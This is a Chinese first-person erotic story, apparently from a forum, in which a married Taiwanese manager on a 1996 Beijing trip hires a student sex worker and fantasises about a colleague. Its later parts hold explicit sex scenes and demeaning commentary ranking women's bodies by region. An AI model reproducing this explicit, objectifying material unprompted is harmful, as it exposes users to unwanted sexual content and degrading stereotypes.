图片载入中

北京的故事

特大字】 【大字】 【中字】 【小字

北京故事(一)

从自己不断扩张的腰围,我不得不承认自己己经是中年人。我想每个人到了30岁,我现在的年纪,都不免有些慌张。慌的是已经30岁可是还是一事无成,银行的存款也才那么几十万,又不像以前人一般的可以食苦,就算我肯食苦,面子上却挂不住。

毕竟昨天才是无拘无束,有朝气,人人以为是有志青年的“雅皮”我也知道去摆地摊,或者去卖牛肉面赚得比我现在的工作多,但我可能去做吗?当然不可能,所以只有每天准时的回到我这个“窝”,想的只是怎么打发今天的八小时,周而复始。

好不容易回到家,看到自己的老婆,又是另外的叹息,我的老婆绝不差,年纪也才29岁,如果她上“非常男女”,我有信心,她会是人气最旺的人选,但你有没有听说过,如果你跟世界小姐睡一年,你会觉得她只是女人一个而已,男人就是这样,喜新厌旧,大家可能会觉得我人心不足,蛇吞象。

但这正是我现在心情的写照,虽然结婚才短短的两年半,但我已经有点后悔。我现在最想的就是再来热恋一次,再重拾那种年轻时的冲动或许这只是我拒绝长大的借口,但我的写照可说是我们这一代“雅皮”的“摆渡人的歌”。

我只是公司的一个小经理,大家如果来我们公司,可能也不会在意到我的存在。我的工作枯燥无味,每天大慨花三个多小时就可以把当天的事情做完。剩下的时间我都要装忙,其实大家都知道装忙有时候比真正忙还要幸苦。好不惭愧,这样的公司竟然不会倒,还是政府标案的常客,所以说台湾真是……

我写这片文章的目的是想记录一下我跟公司三个女同事之间的事,男人偷腥固然是身体上的满足,但可以出来炫一下也是很过瘾的。我以下所写的都是真人真事,当然在小节上会加一点盐和醋,我不是在写黄色小说,不会有超人能力的男主角或波霸女主角。只不过因为小生最近将会离职,想纪录一下过去三年在这公司的辉煌纪录,(三年三个也算不错吧),留为纪念。

首先第一个°°青青、北京和青岛啤酒(发生于1996年秋)。

“这个是我们的美少女,小青”。

六个月前,我来到公司的第一天,当我在做例行的新员工引见时,同事为我这样介绍青青,我们公司300多人,那天我也才见不过六分之一,大约五十几人吧,可是我已经头痛纪下他们每个人的名字也无心去想美少女这个称号,只觉得她“还好”吧,也不怎么年轻后来才知道,因为我们公司福利好,是外商公司,女职员请假生小孩绝没问题,很多员工一做就十几二十年,尤其是女的,青青所属的财务部更是清一色女的,但大都在这干了十几二十年,孩子都十几岁的那种,青青刚来时只有20岁,是当中最年轻的,现在过了7年,也27岁了,但她们还是叫她美少女。

我们公司占三层楼,人数不算少,不见得每一个人都认识每一个人。不同楼层的人见面就更少,财务部我是有跟她们来往,但都是跟那些几十岁的老女人谈案子,青青资浅,我是完全没有跟她见面的机会,对她印像也不深刻。

有一次我又跟财务部几十岁的老女人谈案子,她们问起我部们现在要招的新助理,“你们的新助理会是男的或女的?”她们问。

“助理应该是女的吧,我想。”我回答,“为甚么这样子问?”

“噢,我们想如果是男的,可能可以给小青介绍当男朋友。”她们说。

她们这帮老女人全都结婚有孩子,只有青青最年轻,还没有男朋友,她们想帮青青一把。

我开始对青青没有甚么感觉,她不是那种美丽动人型的,不过每次到财务部我都会看她一两眼,无他只因为整个财务部能看的就只有她,除此之外,我和她只有一些例行公事的“早安”、“您好”之类的话。

有一次公司聚餐,算是全公司的人都到了,我打量了一下,唉!可能我们公司真的是福利太好,男的不是老到肚子像皮球就是像泳圈,女的可以看的没几个,何况电脑公司是男性具多,女的就更加买少见少。

刚好青青坐我不远的对面,她那天穿一套白色洋装,看起干干净净的,很是让人舒服,我第一眼的感觉是“这是那部们的新同事,不错啊!”,后来看清楚一点才知道是她,但当天我忙着跟其他不太熟的同事打屁,又要照顾老婆,没有去跟她讪。

我在公司是PROJECTMANAGER,不懂的人还以为我才28岁就当上经理很不错,但内行人知道现在的头衔都很好听,明明是记账的,现在要叫“财务专员”,然后还有一大票全是甚么工程“师”、技术“师”,今天要搞个甚么师回来做已经不算甚么一回事,就算是经理,像我这样的,我们公司就有十几个。不过我想应该数我最年轻,但管的人也最少,我部们只有6个人,比起人家20-30个真是惭愧,人家叫我是经理时,我都会觉得不好意思,工资我想也比不上人家部们的主任。

不过话说回来,才出来工作3年,就可以有自己的房间,名片拿出来好坏也是个经理,在同学中不会太丢脸,也算差不多了吧,这就是我这一代的思想,外表永远比内涵重要。

我们是美商公司,我的老板是老美,可能因为看我也是留美回来的而刚好我留美的地方离他的家乡不远,在WISCONSIN,面谈时我们还谈了很多WINSCONSIN的事情,他可能是“念旧”所以请我,其实后来知道来信应聘的人多得是,论资历我可能是倒数第几个,我能够得到这工作也算是满幸运的,更不要提后来发生种种的一切,其实上天也真的侍我不薄

另外一个请我的原因是因为我上一份工作时,我在上海待过,而我老板要负责北京分公司的事情,但他半个中文都不懂,所以他想请一个有大陆经验的,把事情都丢给他,就是我啦,然后都不用他管。

1996年刚过完双十时,北京公司要投一个标,我去那边看看,跟大陆人打谈生意有难有不难,刚去的人往往碰钉子因为他们不知道同样是中文但大陆人所用的跟台湾人可能完全不一样,如果他们说不用客气,那你可千万一定要客气,如果他们说我看看吧,那就是他已经答应了,但如果他们说快好了,那可能代表可能明天好,也可能明年才好,反正我老板甚么都不懂,我在这工作上也满好混。

北京故事(二)

这是我第二次来北京了,上次是的刚上任时来的介绍之旅。10月的北京正值初秋,微凉,对台湾人来说算是冷,气温大慨在10度到0度左右,但万里无云,用秋高气爽来形容就最好不过。

这次打算星期二到,星期五走,然后停香港,周未跟老婆约了到香港逛逛玩玩。台北到北京本来只有3个小时的路程,但因为要经香港所以得快花上10个小时才行,还好我是经理,可以坐商务仓,途中跟空组聊聊也满不错的,国泰的空姐比较时髦,但也很不理人,大陆的空姐比较土,但却比较好骗,对台湾人也满友善,也愿意跟你聊,我跟其中一个说我是第一次来北京的,甚么都不知道,却把她的电话骗到手,说有事可以找她。

我们公司的人都是住长城Sheraton,真的很不错的,跟台湾的凯悦差不多,一般要美金200一个晚上,我们公司有折扣,但也要美金150一个晚上。我去Check-in时他们竟然没有了普通房,所以换了个小套房给我,上去一看虽然不是真正的套房,只是比普通房大一点点,但中间也有一扇门把客厅跟房间割开。

我在北京的工作主要就是跟大陆官员食饭,喝酒,然后跟公司的同事食饭、喝酒(他们总要巴结一下我这个从总公司来的上司吧),然后还是跟大陆官员食饭、喝酒,上Karaoke。

我在大床上躺下,想今天晚上应该会去食饭,几乎也一定要去Karaoke,心里在想要不要带个小姐回来风流一下,不然浪费了这么好的房间可惜,在大陆要风流实在太容易了,如果有女读者看到这,我跟你们说,如果你们的老公,男朋友要去大陆出差,千万不要问他们有没有风流过,因为如果他说有,这会伤你们的心,但如果他说没有,这只有四种可能︰一、他说谎,二、他没钱,三、他无能,四、他是圣人。

打个电话回公司知道今晚果然约了大陆官去食饭,我先洗个澡,洗澡盆也满大,待回带个美女回来一起洗也可以。然后我小睡片刻以便恢复体力应付晚上的对酒和美女,差不多要下班时我换了套西装准备回公司,大陆的小姐有的只是坐台不出去,北京更多女大学生来兼职,不太愿意跟客人回酒店,而我遍遍最喜欢这种不太出去的小姐,感觉上比较不会太Cheap。所以我也要穿得比较斯文,这样子她们肯的可能会更高。

回到公司跟同事他们寒暄一阵子,看看文件就打道去吃饭,这些政治饭没甚么好写的,饭中我只是想着待回的余兴节目,最后他们决定到我酒店的Karaoke天上人间玩。天上人间应该算是北京比较高级的Karaoke之一,消费满高的,我们包了个厢房,光是房费就要3000人民币,要是我就附不起,出去DISCO一看,全都是小姐,可能有200个,想起几年前刚去上海时真的被这种场面吓了一跳,共产主义?我在大陆待的这段时间里没有看到半分!

但DISCO太黑了,所以我们叫妈妈生带进来挑,我们有八个人,干脆一次过带二十个来挑,经过三轮60几个小姐后大家都挑到了,每人两个,本来我不喜欢两个一起来,觉得有点难为情的,但今晚是大陆人请客,说每人都要两个,我也不好意思推,反正小费也只是一人一、两百人民币罢了。

说到这里想起我们台湾男同胞真可怜,年轻时要当兵,有甚么事就要去打仗,到年纪大时有钱去风流却可能花几万块台币连小手也碰不到,在大陆只要一、两百人民币就可以左拥右抱,一个餵你食水果,一个端啤酒给你喝,跟以前做皇帝一样。

我那天晚上挑了一个是她说是在北京念大学的叫周静,也不知道是不是真的,但看她很多东西都很生硬就是啦。一口绕舌的北京话,轻声细语,叫人听得很是舒服,另外一个上海人,国语说得很差,我跟她沟通不了,相貌倒是不错。就叫妈妈生换了一个她说是苏州来的,看起来白白净净,我出来玩也有我出来玩的规矩,就是不当众做不雅的动作,毕竟人跟野兽也是有分别的,最多摸手,搂肩膀和腰,其他像换大腿,胸脯等我是做不出,要做回房间再做不迟,何必当众表演。

最后我问她们愿意今天晚上陪我吗?苏州那个马上答应,要价3000人民币。我心想你别当我这个“呆胞”是凯子,没有理她,给予她小费请她走,周静想了一下说她不跟客人出去的,尤其是第一次认识的,我对她满有好感,因为她妆花得不浓,样子漂亮,声音更是甜美,我不逼她,搂着她,她把头靠在我胸膛,这样也是很好的享受,她跟我说很少客人好像我这么斯文的,我说台湾男人都是这么斯文的。

快埋单的时候我又再问她一次,她说你真的很想我陪你吗?我说是,她知道我住这里说︰“好吧!”,我问她多少,她说我说吧,我说1000人民币,她没有甚么反应,然后便跟我坐电梯上房去。

我在外风流过这么多次,周静是我比较有印像的,因为北方姑娘身材高挑,比较多瓜子脸,是我喜欢的那一类型,她样子有点像现在的杨林,虽然她当时只有20岁。那天晚上我没有喝酒太多,脑子还是满清醒的,我和她躺在床上聊天,天南地北,看着电视,刹是写意。其实我每次都是比较喜欢事前的片刻多于一切,关了灯,每个女人还不是差不多,隐隐若若比赤身露体来得更性感,诱人。

后来我开始吻她的小嘴,慢慢的把她的衣服脱掉,我提议一起到浴室泡热水澡,这里的浴缸免强可以容得下两个人,这时周静是一丝不挂的站在我面前,坚挺的双乳,虽然不是很伟大,33-34C吧!我目测,但一看就知是很有弹性的那种,粉红色的乳头和乳晕,紧贴的臂部和修长的大腿,她可有173以上的身高,平坦的小腹,二十岁的铜体,真是上帝的杰作,最难得的是她脱掉后还保留着少女的纯情和含羞,我看她出来做没多久,如果加以包装,绝不比苏X伦之流的差。

我猜错了,因为周静长得高而我也有不到180,浴缸容不下我们两个,我唯有把她抱在怀裹才勉强可以躺下去,我把窗子打开一点,感觉到外面寒风阵阵,而我却在这泡着温水,怀裹抱着裸着身子的美人,以前古代诗人去嫖妓,我看也不过是如此风雅罢了。

致此周静在我怀裹只是静静的不发一言,牢牢的抓住我的手臂,我却爱抚她的身躯,虽然是在水中我还是可以感觉到她肌肤是滑不熘手的,这时我左臂最舒服的就是放在她胸前,摸抚她的乳房,的时而轻吻她的小嘴,时而吻她的秀发,一切都是那么安祥和平,我出来玩这么久,这次可以说是最放松的,其他小姐大都好像是例行公事,匆匆了事要赶下场般似的。

终于我忍不住,在水中要了她一次,之后我感觉到累了,究竟我今天一大早的飞机,又是长途飞行,又是累人的政治饭,现在跟周静来了一次后快体力透支,我跟她说︰“你再泡一回吧,我先出去。”

我躺在床上马上就睡着了,等我起来之后,我发现她已经穿好衣服坐在床上看电视等我,一附准备要走的样子。“我睡多久啦?”我问她,她说︰“没多久,半个小时左右,你好像很累的样子。”我跟她解释,因为我今天早起又坐了很久飞机的原故。

一直以来我找小姐都不喜欢她们陪过夜,每次要完了,我都想她们快点走,因为有个陌生人躺在旁是很奇怪的对于我来说,但今晚我却考虑要不要叫周静留下,我知道一千块不是过夜的公价,她说︰“如果你累了,就早点睡吧,你明天还要早起上班。”,然后她好像要去拿东西要走的样子。“你今晚可以留下陪我吗?”我冲口而出的问道。“可以,不过我怕你会太累了。”她说,“不会。”我回答。

刚才的小休,使我又有了新的能量似的,我抱着她说︰“小静,我好喜欢你!”心里在盘算怎么骗公司把我掉过来,让我可以跟她在一起,我跟她接吻,伸手把她的胸罩解开,我叫她把胸罩拿掉,衣服不要脱,她很奇怪的看我,我说︰“我喜欢这种若隐若现的感觉。”,我想SM之中,数我这种最小儿科吧!她的衣服本来就是白色,满透明的,现在胸罩拿掉了,她乳房的形状己是隐若可见,我走到她面前,一手隔着衣服去换她的胸脯,仍旧是饱满结实,一手抱着她的纤腰,吻着她的小嘴。

这时我疲惫的身体又有反应了,我掀起她的裙子,除掉她内裤,打算戴上保险套后,从后面把她要一次,但这次想不到她说︰“不戴套子会不会好一点?”正所谓行船跑马三分险,小心使得万年船,我虽然好色,周静也可以说是佳人美女,但我当时还保留着我的理智,假装听不清楚说︰“甚么?”,她说︰“嗯,戴套子比较痛。”她看我犹豫就说︰“你不用担心,我才出来做一个多月,只跟五个人来过,他们全都有戴套子的。”我有点不信的问道︰“那为甚么现在……?”她说︰“其他男人无论如何斯文,跟他们回到酒店房间后,都是原型毕露,在我里面乱冲乱撞,你比较温柔,所以我……不是男人都喜欢不戴的吗?”

“当然啦”我心里面想,但我还是尽力压抑住内心的欲望,自己泄病固然不好,回家再传给老婆就真是妖寿,但我又不想给她知我怕。想了一想我说︰“但我怕你会怀孕,你有食药吗?”她回答“没有,好吧你喜欢戴就戴吧!”于是我戴上了,从后面跟她来了一次。这次她跪在床上,面对镜子,好像有点反应,不像第一次冷冰冰的。

第二次后,我真的支持不住了,住床上一躺倒头就睡,但睡前我听到她笑着说︰“男人也真奇怪,其他人就算求我,我也一定要他们戴保险套,你却我求也不肯不戴。”

[td=1,1,16]

北京故事(三)

第二天星期三早上起来发现她穿着内衣睡在我旁边,想去几个小时前的缠绵却又好像很久了。其实离开台北才刚刚24小时,但却又好像发生了很多事,我正在盘算着到底这几天都要周静陪,还是晚上再去找新的,我觉得出来玩新鲜感最重要,没事就多玩几个,周静虽好,但试过了就没有新鲜感,何况你怎么知道下一个不会更好呢?说不定可能碰到个关芝琳、天心。

这时周静也醒了,“你昨晚睡得很死。”她说,“昨天一天太累了。”我回答,“太累了你还要玩?”她又取笑的说。我跟她要BBCALL号码,心想如果晚上没有人陪也可以再找回她,她竟然说她没有BBCALL,这可是我见过第一个没有BBCALL的小姐,可能真的是出来做不久。当我准备给她钱时,发现只有一千多人民币,过夜大慨要一千八,所以我给了她一千,说待会到楼下换了美金再给她她说︰“不用了,不然你再买个礼物送我留为纪念好了。”我答应了,但心里面想︰真麻烦,八百多可以买甚么呢?

吃早餐时,我问有没有办法联络她,她说只可以给我宿舍的电话,打过去找XXX房的周静就可以了,原来她真的是北京一家商专的学生,她说她出来做只是为了生活费和学费,我酒店的天上人间在北京属于比较高级,人客出手高,素养比较好,所以她经常会和几位同学来“玩”。

我假装说我这几天在北京会再CALL她,她听了满高兴似的,吃完早产后我送她上计程车,我就走到对面的凉马河大楼,也就是我公司所在地去了,可能人逢艳遇精神特别佳,虽然昨日恶战两场,今天精神好像比平常还好。

出来玩没甚么大不了,但大家也知道在台湾随便一个三十岁的挂个甚么纯情女学生招牌就会生意比较好,周静绝对是纯情女学生而且才刚出来做,对我好像也有一点情意,这样的机会就算是我这种见过“世面”的人来说也不多见,不由得越想越得意。

回到公司,见到公司的女同事们,我不由得要评评我们伟大祖国的女孩子,以我的经验北京或北京附近的女孩身材最捧,因为他们身材大都高挑,比较不会看起来胖,因为腿长所以比较不会有萝卜腿,皮肤白哲,轮廓也比较鲜明,如果她们穿了高根鞋,有时候会把我这179的身高比下去,如果她们穿起高根鞋还加短裙的话,那简直就是谋杀,让我有犯罪的冲动。

其次属江苏上海的身材好,样子本来也不错,但我往往觉得她们样子有点怪,可能是太东方人脸孔了,比较圆,北京的则比较瓜子脸。再下来就是四川女孩,身材没有上海,北京的好,大慨像是广东,福建的加长型,皮肤也比较黄,但着遍来说,也不知道为甚么,胸部比较大,但一口怪怪的四川话让我听的很不是味道。

我公司的大多是北京本地人,平常白天没有事就要她们谈谈业务(其实也就是打屁),而我最喜欢的是跟财会部和行政部的打屁,因为大多是女的。虽然她们之中条件好的也有,但我觉得要玩在外面玩就好了,不要玩到家里来。良家妇女会很缠的。

中国人就是爱吃,中午的饭局一吃就吃了两个半小时。当我们坐着车子回公司的时候,无意中给我喵到一个“北京外贸商务学院”的横额,心里一登,这不就是周静的学校吗?等我潜意式的叫司机停车,其他同事见状觉得奇怪,我突发奇想说我好像有个同学在这里教课的,我想去看看是不是,叫他们先回去,我随后自己会乘计程车回去。

那时快三点了,我站在学校外看着学生下课,自己也仿若回到大学的年代。旁边就是警卫室,我去问有没有办法找一下XXX房的周静小姐,警卫说要打电话去宿舍那边问,不过他可以帮我打。打完后警卫说周静还没回房,可能要还在上课要晚一点吧,他说大慨四点多全部人都会下课了。我问明了去宿舍的路后就离开。

周静见到我,很高兴的走过来说︰“你来啦!”然后又说︰“为甚么没有先告诉我呢?”其他同学就窃笑说︰“周静,你男朋友来等你放学啦?”我现在倒有点脸红,跟周静说︰“没有,我只是刚坐车经过而已。”其他女同学又笑说︰“是吗?真巧哦!”周静看我有点不好意思,就跟我介绍其中几位同学,其中一个比较漂亮的叫林诗倩,我心想︰好有诗意的名字!这时她的同学们也不玩了,相相离开,只留下我跟她在那儿。

“你是来送礼物给我的吗?”她说,我心想︰“惨了,完全忘记这件事。”不过当然还是假装的说︰“是啊,不过还没买。”心里在急速盘算要买甚么才不会亏大了。突然又给我想到解围的方法,对她说︰“因为要你一起去买。”她欢喜的说︰“好啊,你要送甚么给我?”我回答︰“去了你就知道了。”于是我们俩就朝着一个方向走去。

北京的秋天,太阳下山很早,三点多已经有夕阳的味道。周静现在穿着牛仔裤和T-SHIRT,跟其他年轻人一样。和昨晚的去宴会般的盛装不同,但是却散发出无可抵挡的青春魔力。在街上走的大多是刚下学风学生,很明显当中有很多是情侣,虽然说大陆已开放了二十年,但好像我跟周静这样子搂着肩膀走的却只有我们。而我们看起来也好像是他们中的一分子,刚刚下课准备去约会的学生。

我好像记得刚才坐车时看到一个卖BBCALL我店,打算送一个BBCALL给她。因为送BBCALL多少有一点亲密的感觉,而且不会太贵(希望吧)。在店里她挑了一个机,然后她挑了昨天的日期当号码,说是要纪念。之后我约她今天晚上去食饭,心想没有女同事去,其他男同事也是共犯,所以没关系。虽然我也很喜欢新鲜的,但周静现在给我的是回到年轻时的感觉,让我觉得年轻了十岁,这种感觉得来不易。反正出去玩的机会有得是,要找新鲜的机会也很多。

之后我自已独自回公司,说等下我会叫车来接她。回到公司,我很惊讶的看到台北公司财务部的施X青也在。我就去问她︰“小青为甚么你来了?”她说︰“是总经理叫我来处理一下账目的。”“你刚到吗?”我问。“对,刚刚才下飞机。”她道。我想有点奇怪,因为大陆公司的账,一向都是另外一个老女人在管的,小青好像没有管,为什么会是她来呢,而来得又好像没有其他人知道的。不过因为不同部们所以不好意思多问,但现在看她倒是楚楚可怜,想必是在路上十几个小时的原故。

“其实曾主办本来也要来的。”曾主办就是管大陆账的那个老女人,“但今早到了机场,她才发现她的港签过期了,所以来不成”小青说。“原来如此,你应该是第一次来北京吧?”我说。“是啊,刚才坐计程车就被骗了,说一件行李要一百块。”她说,“曾主办也知道我一个人第一次来甚么都不懂,不过她知道你在这里,说有甚么事你可以照顾我。”

“这个当然啦!”我也不禁起了一种同们情意,打算有甚么事就照顾青青一下,何况青青也看起来也满不错,虽然以前在公司总是觉得她土,但我猜如果加以打扮也算是中上之姿。我看她还带着行李,一定还没Check-in,就叫一个同事带她去Check-in,而我则留在公司处理一些事。

我意外的接了我老板的电话,话中说他接到线报,说北京的两位SALES有拿回扣的嫌疑,他叫财务部的人来查查。因为不想惊动北京的人,所以在青青到步后才告诉我,叫我协助青青一下。这些事情在大陆甚至台湾也是见怪不怪,大多数人如果涉及的金额不大,就把员工炒掉就算了,安安静静,没有必要弄大。但老美甚么事都要按他们家乡那一套,要找这个那个证据,一查起来全公司的人都会知道,这样可能更不好办。涉及的简氏两兄弟与我私交不错,上次来也有一起出去玩,平常有通电话。这次要我手刃朋友有点难为情。不过这也解释为甚么这次我来北京他们两兄却同时请假。

过了一阵子青青从酒店回来,换了一套上班族的洋装,看起来斯文大方。我跟她说老板打过电话给我,事情我知道了,会帮她一块处理。她听了好像松一口气似的,我知道这种事叫她一个小女孩来办的确不太好,而那个曾主办又不能来。我心里在想今晚的事,今晚的晚餐绝对不能带她去,因为去的都是男人而我又约了周静。但总不忍心留她一个人在陌生的北京,如果叫其他女同事陪她也行,不过她跟其他女同事不熟,好像不太好。事后想起,其实她跟女同事不熟不是主要原因的,我心里想多亲近她倒是最主要。

我例行的问她今晚有甚么打算,她说不知道可是现在有点累。我就叫她先回酒店睡一回,然后约她晚上八点一起去吃晚餐,心想八点应该可以打发掉今晚的晚宴吧。

今晚是我们请香港人,他们是我们的合作伙伴,总公司在香港,主管都是香港人。请香港人当然是去广东海鲜,我们挑了一家在北京满有名的渔都。广东菜为四大名菜之一,除了好吃之外也其它的等色。就是贵。光是叫一条鱼就要一千人民币,一只龙虾快要两千,还有一大票甚么象拔蚌算是比较便宜,但也要五、六百。这样吃法,公司还有钱赚也算是奇绩。不过真的是很好吃,比台湾的海产店好多了。

周静今晚穿起我刚才买给她的衣服。我怕她不知道穿甚么来会,所以刚才买了一套类似上班穿的半截裙和衬衫给她。和BBCALL加起来也才五百多,比原本要付的八百少。她穿起来到满像办公室的秘书小姐。我对秘书很有幻想,因为她们穿的性感,跟人讲话都是温柔婉约。可惜,我只有个助理,工读生的那种。其他部们的秘书都是我公司标准老女人型。只是每次看到别人公司的秘书时我都羡慕不已。好吧,今晚就把周静当成我的秘书来满足一下我对秘书的幻想。

北京故事(四)

这套裙子比昨晚她穿的短,可以看到周静极个苗条小腿和一部分大腿。在透色丝袜里,更显得她的皮肤白哲。紧身的衬衫突显出她胸部的形状,贴身的裙子也展现出她的纤纤小腰。再加高根鞋,这就是我所谓的杀人身材。

席中她很少跟其他人讲话,有点怯场,只是帮我挟菜和倒酒,有时候跟我说话也只是喃喃细语。看起来十足是我女朋友一般。出来跑生意的人都知道,一些来历不明的女人,最好不要去问她们的来历。我同事昨晚见过她,知道她是谁,那些香港人不知道,也不好意思问,但我发现席中有几个香港人经常偷偷的在打量周静,不禁让我一阵阵的得意。还好这帮香港人不太爱对酒,今天喝很少,让我可以留力晚上应付周静。加上吃的都是海鲜(听说海鲜有状阳的工效),我在席中已经在想晚上的事。

我们请了香港人吃饭后,他们理所当然的要回请我们去KARAOKE。我其实不想去,但不去好像不太好,就说到酒店的天上人间,这样我比较好照顾。他们没异议。我说我要先办点事,叫他们先去,我十点再回去找他们。

之后我把周静带回房间,叫她先看电视,我便下楼去找青青陪她吃晚餐。睡完一觉,青青的精神明显变好了。看起来也比较漂亮。她本来穿着便服,但看我还是穿西装说要换衣服才下去。我本来想不用了,但她坚持要换就随她去了。她又换回刚才的套装,我想这样也好,穿短裙的女人最性感,让我的眼睛吃吃冰琪淋也好。她身材比较娇小,其实也不矮以台湾的标准,大慨有170,只不过比起周静就是矮了一点。

因为她说她不饿,我也就更不饿,所以就随便在酒店找个餐厅坐下就算了。从餐桌闪烁的烛光中看,她的脸很是俏丽,只不过平常少化妆所以不大看得出。我跟她不是太熟讲的都是公司的事。

我说︰“简两兄弟这件事你有没有甚么打算?”她道︰“没有啊,本来只是看曾主办,现在她没来我也不知道怎么做。”我问︰“北京的账不是都是曾主办在管的吗?为甚么这次你也……”她说︰“因为曾主办有孩子家庭,不方便出差来北京,所以她们想换人做,但其他人都有家庭,所以只有我来接,这次本来不但是办简两兄弟的事,也是交接北京的事情的。”我道︰“原来这样子。”

后来知道青青如果接了北京的事情,工资也会再加点,她因为家境不太好,所以这对她很重要。“你除了这次来北京外还去过甚么地方吗?”我试图打开其他话题的问她。她说︰“没有,这次是我第一次出国。”我心里有点纳闷,不会吧,都二十七岁人了,难道连香港也没去过?原来青青因为家庭还境不太好,高中没考上,商职念完了就出来工作。赚的钱要拿回家,本常要买件新衣都不太拾得,出国更加没钱。

我对她说︰“那这样子你要好好的玩一下北京,满不错的。”她说︰“可是公司叫我星期五就回去,我怕没有时间。”的确也是,如果星期五走的话,只剩下明天整天,的确不太够时间。她很节俭,晚餐中没有叫甚么,我却帮她叫了一些好吃的。想必是第一次出差,不敢花公司太多钱。我说不要紧,这些记在我的账上就行了,我老板不太管我花费的。

这是我第一次跟青青深入的聊天,觉得她会是那种以前无才便是德的女性。随着时间的过去,我只可以用温柔似水来形容她,她的确有一双水汪汪的眼睛。看起来比她实际年岁少一点。有时候我偷偷的可以看到她盘缠的腿,没有被裙子遮盖我部分,在烛光下很是诱惑,叫我好想去抚摸一下。心里面在想,如果要我今晚选周静还是她,我只可以说我两个都要。

跟她谈话很轻松,在暗淡的灯光下她很媚人。只是她的头发有点长,令她显得有点老气,缺乏一种朝气。可能因为人在国外,心情比较开放,没有顾忌,我们无所不谈。也谈到我的老婆和她的男朋友。她说她上次见过我老婆,又奉承了我老婆几句,但却让我感到很不自在。谈到了她的男朋友。她说以前在学校时交过男朋友但没有联络了。在公司七年可是整天都在女人堆中混,没有太多机会。公司里的男人大多年纪比她大很多,又全部都已经结婚了,这么多年只跟一个男同事交往过。

“是张X明吗?”我问她,因为公司里传的八挂新闻说这个张X明曾经追过她,不过张X明已经有老婆了。青青脸红起来道︰“不是!是另外一个,但在公司做不久,在你来之前一年就离开了。”说完我心里在想,那个跟她不知道有没有怎么样,让我开始有点羡慕那个我从不认识的人。

时间过得很快,一下子快十点了,我叫她回去休息,明天一起吃早餐,再回公司。我跟在她后面,看到她的婀娜多姿的背影,少了一点周静的青春气息,但又多了些成熟的韵味,好想上去把她抱着。

回到房中发现周静睡着了,我把她叫醒然后再下楼去天上人间KARAOKE。想起只是昨天我才在这认识周静,但现在看起来我们俩却好像是多年的情侣。我下去时大家都已有了女伴,那帮香港人不好酒,我也乐得清静。没过多久我们就散场了,有的带女伴出去,有的回家找老婆。离开时碰到下午周静的朋友,林诗倩,想不到看起来这么斯文的女学生也是出来“玩”的,我在想周静到底有多少女同学也是出来“玩”的。

她说她们要去吃消夜,问周静要不要去,说要去吃蛇。秋天吃蛇是很补但刚刚才吃过一顿海鲜大餐,又跟青青吃了一次,我实在吃不下,只想赶快回房和周静温柔一番。但看周静很想跟她朋友去的样子,我不忍心破坏她们。

她们那些小姐今天没有发市,看到周静都笑我是他男朋友,又笑她怎么穿得这么斯文好像是人家老婆。菜我吃不下,可是我喝了三碗蛇汤,这顿是我付的,不吃浪费。蛇汤果然名不虚传,喝完了走在寒冷的北京夜里也不用穿外套,身体好像有股热火向外散发。好不容易回到酒店,我现在简直是欲望高涨,干材烈火。在台湾买不到威而刚,我说海鲜加蛇效用比威而刚好多了,又没有副作用。当然如果可以加上一个好像周静这样的美女,穿着短裙和高根鞋,我相信可以医治90%不能人道的男人。

回到房中我把她抱着,吻着她,她不小心碰到我那里,笑说︰“这么快?”她知道我想要,想要自己脱衣裳。我叫她不要。平常出去玩带回来的小姐大都机械式的办事,做完了不会有何感受,反而觉得心灵空洞,难得遇上周静如斯体贴的,实在得来不易。我要好好把握这次的时机,实践我对女秘书的幻想。

我把她抱坐在我大腿上,好像经理把女秘书抱在大腿上一样,只解开她衬衫最上面的三个扣子,让我看到她的乳罩和深深的乳沟。周静本来已经不错,乳房在乳罩紧紧的衬托下显得特别丰满。然后我脱掉她的丝袜和内裤,抚摸她滑不熘手的大腿和臀部。她的美臀十分高挺,女人身材最容易走样的就是屁股。一旦走样了就怎么做运动也救不回来。所以我深知美臀难求的道理,一只手在摸她的趐胸,一只手在摸她的屁股。

眼里看的是周静美丽的容颜,长长黑发,瓜子口脸。脑子里想着的却是无数引起过我冲动的女秘书。好像微X的LINDA,上次见面竟然穿V字大领的衣服,叫人隐约的看到她的奶罩。我想她可能有36D左右,真想去给她摸摸,她一定有跟她老板怎么样,让我羡慕她老板不已。力X的JESSICA也不错,一付性感小野猫的样子,个子娇小,但CUTECUTE的,好像把她抱在床上。还有台X市政府的曼君,身材比我还高,腿很长,我喜欢长腿的女孩,好难想像摸她长腿时的感觉。而且她有一附性感的嘴唇,厚厚的,那次见到曼君她涂了好像火红般的唇膏,心里想如果曼君可以用她的嘴唇给我……

我抱着是周静的身体,想的是JESSICA娇小的身段,摸着是她跷跷的屁股和丰满有弹性的乳房,想着却是LINDA伟大的胸脯,还有很多很多我不纪得名字的女秘书、办公室丽人或以前追不到的女同学,仿佛一下子我圆了积压在心中多年的幻想,和她们一一发生关系,但想不到我竟然还想到她……青青。

我突然想起刚才在餐厅看到青青想用裙子遮掩露出来的大腿,含羞答答,但裙子之下我看到一双雪白的美腿盘缠着,可惜看不到里面。然后还有当她靠近桌子和我谈话时,她胸口的高低起伏。这时我停止抚摸周静半裸的身体,示意她坐在地上,我坐到沙发上。她这时趐胸半露,坐在地上,短短的半截裙遮不着她修长的美腿。

我望了她一眼,她好像知道我的需要,伸手解开我的皮带,把我那儿掏出来然后放进嘴里。我那儿已经变的火烫似的,放在她嘴里好像是热炽钢铁遇到冰,说不出的舒服,也说不出的难受。我从高住下看她被胸罩挤成的乳沟,想的却是不知青青的乳房会是甚么形状的。我一方面想着是曼君在用她厚厚的嘴唇亲吻着我那儿,一方想的是如果可以把我那儿放进青青的小嘴里……

这时我叫周静停止,叫她站到书写桌前,面对镜子,双手按着桌子,上半身子微伏。这样子她突出的乳房和高跷的屁股深深印证了“前突后跷”四个字。我把她的半截裙掀到屁股附近,然后从后面把她要了。我隔着乳罩去掐她的乳房,从镜中的反射我看到她咬着牙,牙齿轻咬着嘴唇,好像有点难受,头发有点乱,唿吸急速,一点都不像第一次做爱时冷冰冰的。

她还穿着高楼鞋,是我故意不要她脱的。因为这是才是平时我幻想要跟女秘书做爱的装扮。我幻想现是LINDA伏在办公桌上,我从后面掐着她伟大的胸脯,把我热烫的那话儿放进LINDA的私处。

wwwjkforumnet JKF

